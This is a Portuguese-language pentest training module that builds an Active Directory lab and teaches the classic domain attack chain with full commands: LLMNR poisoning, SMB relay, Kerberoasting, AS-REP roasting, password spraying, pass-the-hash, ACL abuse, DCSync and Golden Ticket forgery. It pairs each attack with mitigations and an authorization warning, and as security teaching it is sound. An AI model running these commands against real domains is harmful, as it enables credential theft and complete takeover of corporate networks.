MÓDULO 14 — ACTIVE DIRECTORY ATTACKS (+ LAB DE AD DO ZERO)

Objetivo

Montar um domínio Active Directory completo no seu laboratório, aprender a enumeração de domínio profissional (BloodHound, Impacket) e executar os ataques clássicos — LLMNR poisoning, Kerberoasting, AS-REP Roasting, Pass-the-Hash, DCSync e Golden Ticket — do acesso inicial ao controle total do domínio (DA).

---

14.1 Por que Active Directory (e por que é o coração do pentest corporativo)

Active Directory (AD) é o serviço de diretório da Microsoft que gerencia usuários, computadores, grupos e políticas numa rede corporativa. Um Domain Controller (DC) valida logins (Kerberos/NTLM) e centraliza tudo.

O que isso significa para você:

• Um único domínio comprometido = toda a empresa comprometida (e-mail, VPN, Wi-Fi, arquivos, apps)
• O AD concentra as credenciais: roubar o domínio é o objetivo final de qualquer intrusão
• A maioria dos pentests corporativos termina em: "conseguimos DA (Domain Admin) em X dias"

Terminologia essencial (domine antes dos ataques):

O fluxo de um ataque típico a AD:

\\\text Acesso inicial (qualquer usuário) → Enumeração (BloodHound) → Movimento lateral → Escalada até admin local → Coleta de credenciais (mimikatz) → DCSync/Golden → DA \\\

---

14.2 LAB DE AD DO ZERO (a prática central — monte agora)

Topologia

\\\text Kali (192.168.56.101) ← atacante (impacket, BloodHound, responder) Windows Server 2019/2022 (192.168.56.10) ← Domain Controller "dc01.empresa.local" Windows 10/11 (192.168.56.20) ← workstation "ws01.empresa.local" (usuário autenticado) \\\

Passo 1 — Instalar e configurar o Domain Controller

\\\`powershell # 1. VM: Windows Server 2019/2022 Evaluation (avaliação oficial da Microsoft) # Rede: Host-Only/NAT (192.168.56.0/24), nome: DC01

# 2. No Server Manager: Add Roles → Active Directory Domain Services → instalar # (ou PowerShell):

# 3. Configurar IP fixo e DNS (importante!): # IP 192.168.56.10, gateway 192.168.56.1, DNS: 127.0.0.1 (ele mesmo)

# 4. Promover a DC (PowerShell, como admin): Install-WindowsFeature AD-Domain-Services -IncludeManagementTools Import-Module ADDSDeployment Install-ADDSForest -DomainName "empresa.local" -DomainNetbiosName "EMPRESA" -ForestMode "WinThreshold" -DomainMode "WinThreshold" -InstallDns:$true -SafeModeAdministratorPassword (ConvertTo-SecureString "P@ssw0rd123!" -AsPlainText -Force) # → reinicia automaticamente; agora você tem o domínio empresa.local \\\`

Passo 2 — Criar usuários e grupos (os "alvos")

\\\`powershell # No DC (PowerShell, módulo ActiveDirectory): Import-Module ActiveDirectory

# Usuários normais New-ADUser -Name "Joao Silva" -SamAccountName "joao.silva" -UserPrincipalName "joao.silva@empresa.local" -AccountPassword (ConvertTo-SecureString "SenhaFraca123!" -AsPlainText -Force) ` -Enabled $true -Path "OU=Usuarios,DC=empresa,DC=local" New-ADUser -Name "Maria Souza" -SamAccountName "maria.souza" ... (idem)

# Usuário de serviço com SPN (para Kerberoasting!) New-ADUser -Name "svc_backup" -SamAccountName "svc_backup" -UserPrincipalName "svc_backup@empresa.local" -AccountPassword (ConvertTo-SecureString "Backup@2024" -AsPlainText -Force) -Enabled $true Set-ADUser -Identity "svc_backup" -ServicePrincipalNames @{Add="http/servidor-backup.empresa.local"}

# Grupos New-ADGroup -Name "BackupOps" -GroupScope Global -Path "OU=Grupos,DC=empresa,DC=local" Add-ADGroupMember -Identity "BackupOps" -Members "svc_backup"

# Admin de domínio (o "segredo" — use senha forte no lab, ex.: DomAdmin@2024!) New-ADUser -Name "Admin Dom" -SamAccountName "administrator" ... (já existe; troque a senha) Set-ADAccountPassword -Identity administrator -NewPassword (ConvertTo-SecureString "DomAdmin@2024" -AsPlainText -Force) \\\`

> ⚠️ No lab, crie senhas fracas propositalmente (em contas de teste) para o cracking funcionar. No mundo real, é exatamente isso que você vai encontrar — e reportar.

Passo 3 — Juntar a workstation ao domínio

\\\powershell # No Windows 10 (VM ws01): # 1. IP 192.168.56.20, DNS apontando para 192.168.56.10 (o DC!) # 2. Configurações → Sistema → Sobre → Renomear este PC → juntar ao domínio: # empresa.local (credenciais: EMPRESA\administrator) # 3. Reiniciar e logar como EMPRESA\joao.silva \\\

Passo 4 — Ferramentas no Kali

\\\`bash # Impacket (o pacote essencial de ataques AD) sudo apt install impacket-scripts python3-impacket # ou pipx install impacket # Lista útil: GetUserSPNs.py, GetNPUsers.py, secretsdump.py, psexec.py, # smbclient.py, crackmapexec/nxc, ntlmrelayx.py, wmiexec.py

# Responder (LLMNR/NBT poisoning) sudo apt install responder

# BloodHound + collectors sudo apt install bloodhound neo4j # collectors: https://github.com/BloodHoundAD/BloodHound/tree/master/Collectors # (SharpHound.exe para Windows, bloodhound-python para Linux)

# CrackMapExec (agora "NetExec"/nxc) — o canivete de AD sudo apt install crackmapexec # ou: pipx install netexec \\\`

Teste de conectividade: do Kali, \ping dc01.empresa.local\ (ou 192.168.56.10) e \nmap -p 53,88,135,139,389,445,636,3268 192.168.56.10\ — deve mostrar as portas do AD abertas (DNS 53, Kerberos 88, LDAP 389, SMB 445, Global Catalog 3268).

---

14.3 Enumeração de domínio — o que fazer antes de atacar

a) Identidade e rede

\\\bash # Quem sou no domínio? (depois do acesso inicial) # Windows (na ws01, como joao.silva): whoami /all net user /domain net group "Domain Admins" /domain net user joao.silva /domain # Linux/Kali com credenciais: crackmapexec smb 192.168.56.0/24 -u joao.silva -p 'SenhaFraca123!' --shares crackmapexec smb 192.168.56.10 -u joao.silva -p 'SenhaFraca123!' --users \\\

b) BloodHound — o mapa do domínio (obrigatório)

O BloodHound descobre caminhos de ataque (quem pode fazer o quê) via grafo. Fluxo:

\\\`bash # 1. Coletar dados (de um host Windows autenticado — o jeito clássico): # na ws01 (como joao.silva), rode o SharpHound: .\SharpHound.exe -c All --outputdirectory C:\Temp

# 2. OU do Kali (se tiver credenciais de domínio): bloodhound-python -u joao.silva -p 'SenhaFraca123!' -d empresa.local \ -ns 192.168.56.10 --collection All

# 3. Importar para o BloodHound: sudo neo4j start # banco de grafos sudo bloodhound # GUI → login neo4j/neo4j (troque a senha) # Upload dos .zip/.json coletados

# 4. Consultas-chave (abas "Queries"): # - Find all Domain Admins # - Shortest Paths to Domain Admins from Owned Principals # - Find Kerberoastable Users # - Find AS-REP Roastable Users # - Sessions (quem está logado onde — para lateral) \\\`

Como ler: cada nó (usuário, grupo, computador) e cada aresta (GenericAll, ForceChangePassword, MemberOf, AdminTo, HasSession) é um possível movimento. O "Shortest Path" mostra o caminho de você até o DA. Marque seus nós como Owned (botão direito) para ver os caminhos reais.

c) GPP / SYSVOL (credenciais vazadas em política de grupo)

Antes de ataques sofisticados, verifique o clássico: o Groups.xml do SYSVOL com senhas \cpassword\ (criptografia antiga, quebrada publicamente):

\\\bash # Acesso anônimo ao SYSVOL (às vezes funciona!): smbclient //192.168.56.10/SYSVOL -N # ou via share autenticado: smbclient //192.168.56.10/SYSVOL -U joao.silva # navegue até: empresa.local/Policies/{GUID}/MACHINE/Preferences/Groups/Groups.xml # se houver <Properties ... cpassword="..."> → descriptografe: gpp-decrypt "cpassword_aqui" # → senha em claro! \\\

---

14.4 Ataque 1 — LLMNR/NBT-NS Poisoning (acesso inicial clássico)

Como funciona: quando um host não resolve um nome (erro de digitação, recurso de rede), ele pergunta na rede via LLMNR/NBT-NS. O Responder se passa pelo recurso e captura o hash NTLMv2 do usuário que perguntou.

\\\bash # No Kali (mesma rede do domínio): sudo responder -I eth0 -dwPv # -I interface | -d DHCP | -w WPAD | -P proxy auth | -v verbose \\\

O que acontece: qualquer usuário que tente acessar \\\\\fileserver\ (errado) ou abra um recurso não resolvido envia seu hash NTLMv2 para você. O log mostra:

\\\text [+] [NTLMv2] Hash Captured: joao.silva::EMPRESA:1122334455667788:<hash NTLMv2> \\\

Quebrar o hash (hashcat/john):

\\\bash echo 'joao.silva::EMPRESA:1122334455667788:<hash>' > hash_ntlmv2.txt hashcat -m 5600 hash_ntlmv2.txt /usr/share/wordlists/rockyou.txt # john: john --format=netntlmv2 hash_ntlmv2.txt --wordlist=... \\\

Resultado: a senha em claro do usuário — que abre e-mail, VPN, shares, e o próximo host.

> Mitigação: desabilitar LLMNR/NBT-NS nas redes (GPO), exigir SMB signing, segmentar redes.

---

14.5 Ataque 2 — SMB Relay (quando a senha é forte demais para quebrar)

Como funciona: em vez de quebrar o hash, você encaminha a autenticação capturada para outro servidor que aceita NTLM (ex.: outro host, ou o próprio DC). Se SMB signing não é exigido (config padrão antiga), o servidor aceita e você ganha acesso como a vítima sem saber a senha.

\\\`bash # 1. Responder SEM capturar (desativar SMB/HTTP para não "roubar" o alvo): sudo responder -I eth0 -dwPv --lm --disable-ess # edite /etc/responder/Responder.conf: SMB=Off, HTTP=Off

# 2. Relay para o alvo: sudo ntlmrelayx.py -tf targets.txt -smb2support # targets.txt: 192.168.56.10 (host que aceita o relay)

# 3. Quando um usuário tentar acessar um recurso não resolvido, # a autenticação é relayada para 192.168.56.10: # → dump de hashes SAM (--dump-sam), execução de comando (-c), # ou acesso a shares (--interactive) sudo ntlmrelayx.py -tf targets.txt -smb2support -c 'whoami > C:\pwned.txt' \\\`

Resultado: execução de comando no servidor como o usuário da vítima — sem quebrar nada.

> Mitigação: SMB signing obrigatório (GPO), bloquear LLMNR, exigir Kerberos em vez de NTLM.

---

14.6 Ataque 3 — Kerberoasting (o mais famoso)

Como funciona: contas de serviço (com SPN) têm senhas muitas vezes fracas. Qualquer usuário do domínio pode solicitar um TGS para um SPN — e o TGS é criptografado com a senha da conta de serviço. Você captura o TGS e quebra offline (força bruta sobre o hash Kerberos).

\\\`bash # 1. Enumerar contas Kerberoastable (BloodHound: "Kerberoastable Users") # ou via LDAP: crackmapexec ldap 192.168.56.10 -u joao.silva -p 'SenhaFraca123!' --kerberoasting

# 2. Capturar o TGS (impacket): sudo GetUserSPNs.py empresa.local/joao.silva:'SenhaFraca123!' \ -dc-ip 192.168.56.10 -request # saída: Ticket hash de svc_backup (formato $krb5tgs$23$*...)

# 3. Salvar o hash e quebrar: hashcat -m 13100 hash_tgs.txt /usr/share/wordlists/rockyou.txt # john: john --format=krb5tgs hash_tgs.txt --wordlist=...

# Alternativa Windows (Rubeus, na ws01): .\Rubeus.exe kerberoast /outfile:tgs.txt \\\`

Resultado: a senha da conta de serviço (svc_backup: Backup@2024) — que pode ter privilégios especiais (BackupOps, AdminTo em servidores...).

Por que funciona: o Kerberoasting não gera log de falha de login (é um pedido legítimo de ticket) e o cracking é offline — a detecção é difícil.

> Mitigação: senhas fortes e longas em contas de serviço (20+ chars, geradas), contas gMSA (senha automática), monitorar eventos 4769 com TicketOptions=0x40810000.

---

14.7 Ataque 4 — AS-REP Roasting (contas sem pré-autenticação)

Como funciona: se a conta tem "Do not require Kerberos preauthentication" habilitada (config ruim, comum em contas de serviço), você pode solicitar um TGT sem senha — e o TGT é criptografado com a senha da conta → quebrável offline.

\\\`bash # 1. Encontrar contas AS-REP roastable (BloodHound: "AS-REP Roastable Users") # 2. Capturar o TGT (impacket): sudo GetNPUsers.py empresa.local/ -usersfile usuarios.txt \ -dc-ip 192.168.56.10 -request # (ou direto com usuário conhecido:) sudo GetNPUsers.py empresa.local/joao.silva:'SenhaFraca123!' -dc-ip 192.168.56.10 -request

# 3. Quebrar (formato $krb5asrep$23$): hashcat -m 18200 hash_asrep.txt rockyou.txt

# Rubeus (Windows): .\Rubeus.exe asreproast /outfile:asrep.txt \\\`

> Mitigação: desabilitar "Do not require preauth" (padrão é seguro), senha forte.

---

14.8 Ataque 5 — Password Spraying (o básico que funciona)

Em vez de tentar muitas senhas num usuário (bloqueio de conta), tente poucas senhas comuns em MUITOS usuários:

\\\`bash # Lista de usuários do domínio: crackmapexec smb 192.168.56.10 -u joao.silva -p 'SenhaFraca123!' --users \ | grep -v "\[-\]" | awk -F: '{print $5}' | cut -d' ' -f1 > usuarios.txt

# Spray (cuidado: 1-2 senhas, intervalo entre tentativas): crackmapexec smb 192.168.56.10 -u usuarios.txt -p 'Empresa@2024' \ --continue-on-success # ou NetExec: nxc smb 192.168.56.10 -u usuarios.txt -p 'Empresa@2024' --continue-on-success \\\`

> Mitigação: bloqueio de conta (threshold), MFA, senhas únicas por usuário, monitoramento de eventos 4625/4771.

---

14.9 Ataque 6 — Pass-the-Hash / Pass-the-Ticket (movimento lateral)

Como funciona: o NTLM hash não precisa ser quebrado — ele É a credencial. Com o hash de um admin local (do mimikatz, Módulo 11), você autentica em outros hosts sem saber a senha:

\\\`bash # 1. Obter hashes (mimikatz no host comprometido — Módulo 11.14): # sekurlsa::logonpasswords → hash NTLM do usuário/admin

# 2. Usar o hash em outros hosts (PTH): # CrackMapExec (testar acesso): crackmapexec smb 192.168.56.0/24 -u administrator -H <NTLM_HASH> --shares # Executar comando (psexec/wmiexec): sudo psexec.py empresa.local/administrator@192.168.56.10 -hashes :<NTLM_HASH> # ou wmiexec (menos barulhento): sudo wmiexec.py empresa.local/administrator@192.168.56.10 -hashes :<NTLM_HASH> \\\`

Por que funciona: se o mesmo admin local (ou senha igual) existe em vários hosts (comum com imagens de máquina clonadas!), um hash roubado abre toda a flotilha.

Pass-the-Ticket: com um ticket Kerberos (TGT) roubado (mimikatz \sekurlsa::tickets\ ou Rubeus dump), você injeta e acessa serviços sem senha:

\\\powershell # Rubeus (na máquina com o ticket): .\Rubeus.exe dump /service:krbtgt /nowrap # injetar no Kali: # (impacket tem suporte a ccache; exporte o ticket e use -k) \\\

> Mitigação: LAPS (senha única por host), não usar admin local para tudo, monitorar eventos 4624/4625, segmentar.

---

14.10 Ataque 7 — Abuso de ACL (o que o BloodHound revela)

Às vezes o caminho para o DA não é uma senha — é uma permissão. O BloodHound marca arestas abusáveis; o impacket/mimikatz executam:

\\\`bash # Exemplos (arestas do BloodHound): # - GenericAll sobre um usuário → mudar a senha dele: sudo net rpc password 'usuario_alvo' 'NovaSenha@123' -U 'empresa.local/joao.silva%SenhaFraca123!' -S 192.168.56.10 # (ou: python3 impacket-ntlmrelayx.../ pth / powerview)

# - ForceChangePassword → idem (PowerView no Windows): # Set-DomainUserPassword -Identity alvo -AccountPassword (ConvertTo-SecureString "Nova@123" -AsPlainText -Force)

# - WriteDACL sobre o domínio → dar a si mesmo DCSync rights (via PowerView/mimikatz) # - GenericAll sobre um grupo → adicionar-se ao grupo # - AdminTo → acesso admin no host

# Depois de escalar privilégio numa conta: rode mimikatz de novo, colete # hashes de quem está logado (HasSession no BloodHound) e continue. \\\`

> Mitigação: revisão de ACLs, princípio do menor privilégio, monitorar mudanças em grupos privilegiados (evento 4728/4732).

---

14.11 Ataque 8 — DCSync (o golpe final)

Como funciona: quem tem Direitos de Replicação (normalmente só Domain Controllers e admins) pode pedir ao DC que replique (sincronize) o banco de credenciais — o atacante pede os hashes de qualquer conta (incluindo krbtgt e Administrator) sem nunca tocar no DC:

\\\`bash # Com credenciais de DA (ou conta com DCSync rights): sudo secretsdump.py empresa.local/administrator:'DomAdmin@2024'@192.168.56.10

# Ou com apenas o hash (PTH + DCSync): sudo secretsdump.py -hashes :<NTLM_HASH_ADMIN> empresa.local/administrator@192.168.56.10

# Mimikatz (na máquina com acesso): lsadump::dcsync /domain:empresa.local /user:krbtgt lsadump::dcsync /domain:empresa.local /user:Administrator \\\`

Saída: o hash NTLM de todas as contas do domínio — incluindo krbtgt, que destrava o Golden Ticket (14.12).

> Mitigação: monitorar eventos 4662 (Replicating Directory Changes), restringir quem tem direitos de replicação, tiering de administração.

---

14.12 Ataque 9 — Golden / Silver Ticket (persistência definitiva)

Golden Ticket

Como funciona: com o hash de krbtgt (via DCSync), você forja TGTs válidos para qualquer usuário (inclusive inexistente) com qualquer privilégio — por até o tempo de vida do ticket (padrão: 10 anos!). Não é detectado como backdoor (é um ticket Kerberos legítimo):

\\\`powershell # 1. No host com acesso, colete o hash do krbtgt (mimikatz): lsadump::dcsync /domain:empresa.local /user:krbtgt # → krbtgt:<RID>:<hash LM>:<hash NTLM>:::

# 2. Forjar o ticket: kerberos::golden /user:Administrator /domain:empresa.local \ /sid:S-1-5-21-XXXX-XXXX-XXXX /krbtgt:<HASH_NTLM_KRBTGT> /ptt # (o SID do domínio: "whoami /user" no domínio, ou Get-DomainSID)

# 3. Testar: acessar o DC sem senha: dir \\dc01.empresa.local\C$ psexec \\dc01.empresa.local cmd \\\`

Silver Ticket

Versão menor (e mais furtiva): forja um TGS para um serviço específico usando o hash da conta do serviço (não do krbtgt). Vale para acesso àquele serviço (ex.: CIFS do DC) sem tocar no krbtgt.

> Mitigação: trocar a senha do krbtgt duas vezes (com intervalo) se houver suspeita, monitorar ticket anomalies (evento 4769 com contas inexistentes), usar Protected Users group.

---

14.13 A ordem dos ataques — o fluxo profissional completo

• \\\`text
• ACESSO INICIAL (qualquer vetor):
• - LLMNR poisoning (Responder) → hash → crack → senha de um usuário
• - Ou: exploit web/VPN/exposição (Mód 7/8) → credencial de usuário

• ENUMERAÇÃO DE DOMÍNIO:
• - BloodHound (SharpHound/bloodhound-python) → caminhos para DA
• - CrackMapExec: shares, usuários, sessões, grupos

• ROASTING (ataques offline, silenciosos):
• - Kerberoasting (GetUserSPNs) → crack TGS
• - AS-REP Roasting (GetNPUsers) → crack TGT

• MOVIMENTO LATERAL (cada host novo é um novo alvo):
• - Pass-the-Hash (psexec/wmiexec/crackmapexec)
• - Mimikatz em cada host (logonpasswords, sam, lsa)
• - Abuso de ACL (BloodHound: GenericAll, ForceChangePassword...)

• PRIVILÉGIO MÁXIMO:
• - Coletar hash de admin/DA
• - DCSync (secretsdump) → hash de tudo (incl. krbtgt)
• - Golden Ticket (persistência) — documente e limpe

• RELATÓRIO: cada passo com evidência, impacto, correção
• \\\`

Regra de ouro: cada credencial nova abre um novo host → cada host novo gera novas credenciais (mimikatz) → repita até o DA. É o ciclo do movimento lateral.

---

14.14 Defesas (o resumo que vai no relatório)

---

14.15 Atividade prática do Módulo 14

> Todo o lab no 14.2. Nunca aplique estas técnicas em domínios sem autorização.

• Lab: monte DC + workstation (14.2) e confirme conectividade e acesso.
• BloodHound: rode SharpHound na ws01 (ou bloodhound-python do Kali), importe no BloodHound, rode as consultas de DA e Kerberoastable. Identifique o caminho de joao.silva até o DA.
• LLMNR: rode o Responder; da ws01, tente acessar \\\\\inexistente\ — capture o hash; quebre com hashcat.
• Kerberoasting: GetUserSPNs → capture TGS do svc_backup → quebre → use a senha para acessar os shares (crackmapexec).
• AS-REP: crie uma conta com preauth desabilitada no lab; GetNPUsers → quebre.
• Password Spraying: spray Empresa@2024 na lista de usuários; documente o que acontece (e o lockout, se configurar).
• PTH: com um hash de admin local (mimikatz na ws01 ou no DC de lab), use psexec/wmiexec no DC — sem senha.
• DCSync: com o hash/senha do administrator, rode secretsdump e liste os hashes do domínio.
• Golden Ticket: com o hash do krbtgt, forje um ticket e acesse o DC (mimikatz kerberos::golden).
• Limpeza: apague os tickets forjados (klist purge), remova arquivos, restaure o lab.
• Desafio — a operação de domínio completa: crie \ad_report.md\ em \~/pentest/evidencias/ad/\ com:
• - topologia do lab
• - enumeração completa (BloodHound: 3 consultas com screenshots; caminho de ataque identificado)
• - cada ataque executado: comando, saída, o que ganhou
• - a cadeia completa: joao.silva → (ataque) → svc_backup → (ataque) → admin → DCSync → krbtgt → Golden Ticket
• - mitigações recomendadas (tabela 14.14) com prioridade

---

O Active Directory é o coração das redes corporativas e o objetivo final dos pentests. A metodologia é cíclica: acessar (Responder, spraying) → enumerar (BloodHound) → escalar lateralmente e verticalmente (Kerberoasting, PTH, abuso de ACLs) → coletar mais credenciais (mimikatz) → chegar a Domain Admin. O controle total e silencioso (DCSync) e a persistência irrestrita (Golden Ticket) mostram o porquê o AD precisa de proteções robustas (LAPS, SMB signing, senhas complexas, tiering e monitoramento contínuo). Quem controla o DC, controla a empresa inteira.

---

✅ Checklist de conclusão do Módulo 14

• Entendo AD/Kerberos: DC, domínio, TGT/TGS, SPN, NTLM, DA
• Montei o lab completo (DC + workstation + usuários + SPN) do zero
• Enumero com BloodHound (SharpHound/bloodhound-python) e leio caminhos de ataque
• Encontro credenciais em GPP/SYSVOL
• Capturo e quebro hashes NTLMv2 (Responder + hashcat)
• Faço SMB relay quando a senha não quebra
• Executo Kerberoasting (GetUserSPNs) e AS-REP Roasting (GetNPUsers)
• Faço password spraying com disciplina (sem travar contas)
• Uso Pass-the-Hash (psexec/wmiexec/crackmapexec) para lateral
• Abuso ACLs reveladas pelo BloodHound
• Executo DCSync (secretsdump) e entendo o que ele entrega
• Forjo Golden/Silver Ticket (mimikatz) e entendo a persistência
• Conheço a mitigação de cada ataque e documento no relatório
• Faço limpeza e restauro o lab ao final